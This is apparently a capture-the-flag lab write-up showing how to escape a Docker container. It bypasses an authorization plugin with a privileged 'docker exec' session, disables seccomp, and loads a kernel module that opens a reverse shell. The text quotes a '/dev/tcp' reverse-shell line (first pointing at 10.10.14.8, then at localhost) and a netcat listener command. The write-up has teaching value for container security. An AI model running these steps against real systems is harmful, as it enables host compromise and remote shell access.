In this post, you'll discover how to exploit the CAP SYS MODULE capability in a privileged exec session to break out of a seccomp unconfined container that was launched with no extra rights or capabilities.
Hello, world! As security options docker has two main configurations for this AppArmor and Seccomp. When you start a container, both of these options are provisioned with the default profiles. These profiles were written by the experts in containerization so that even if you have a privileged session on the docker container, still it doesn't let hackers break out of it.
In this post, I will demonstrate to you a Seccomp Unconfined lab which will let you understand how can you can start a docker container without loading seccomp profiles and escalate to the privileged user on the host machine.
Before moving forward with anything, let's confirm the available images in the docker. In this case, I will be using modified-ubuntu
image.
Since the firewall is active, it will block all the tries to create the possible ways of the privileged docker container. As you can see in the following image, host file bind mount, privileged docker container using --privileged
flag and allowing all capabilities using --cap-add ALL
failed.
This is because it tried to send the default JSON payload which is then filtered by the docker firewall plugin.
In the previous post, I have discussed a misconfiguration in the docker JSON structure which lets you send the bind mount and capabilities information in a different payload which is not filtered by the plugin. When I tried this, it also returned the unauthorized error.
I then scratched my head and look for "docker privileged shell" on the search engine and found that docker exec allows us to start a privileged exec session even if the container is not started in the privileged mode.
Finally, I got the privileged bash session with all the privileges. So far, you have seen the exploitation of CAP_DAC_OVERRIDE
and CAP_DAC_READ_SEARCH
capabilities. Let's use CAP_SYS_MODULE
capabiltity in this case.
Copy the reverse shell from hacktricks gitbook. Make the following changes in the reverse-shell.c
file as shown in the following diff. This will try to connect to the localhost instead of 10.10.14.8 IP.
- char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL};
+ char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/127.0.0.1/4444 0>&1", NULL};
Make sure after copying Makefile, it is required to replace the leading space characters with a tab character. I missed that and it gave me error.
After all these editings are done, I compiled the kernel module using make
command and then use insmod reverse-shell.ko
command to insert the module into the kernel.
Before inserting the kernel module, start the server using nc -lnvp 4444
in separate window.
How come this failed even though I had CAP_SYS_MODULE
capability? Again scratched my head for some time, and found that it's seccomp that is blocking the syscall.
So basically, the insmod command will call finit_module
which takes the file handle of the kernel module and tries to load it. In the default seccomp profile, this syscall is blocked.
Docker provides an option to start the container in unconfined mode. In this case, using --security-opt seccomp=unconfined
will tell the docker engine to not load the default configuration for this particular container.
Then I used the docker inspect
command to confirm. Yes, I have trust issues with myself 😅. You can see seccomp is set to unconfined in SecurityOpt
field.
All I was supposed to do is repeat all the commands, that was perform in the confined container. This time insmod command will execute successfully.
Finally, I got the reverse connection on the netcat session started before. The flag contents were stored in the /root/flag
file.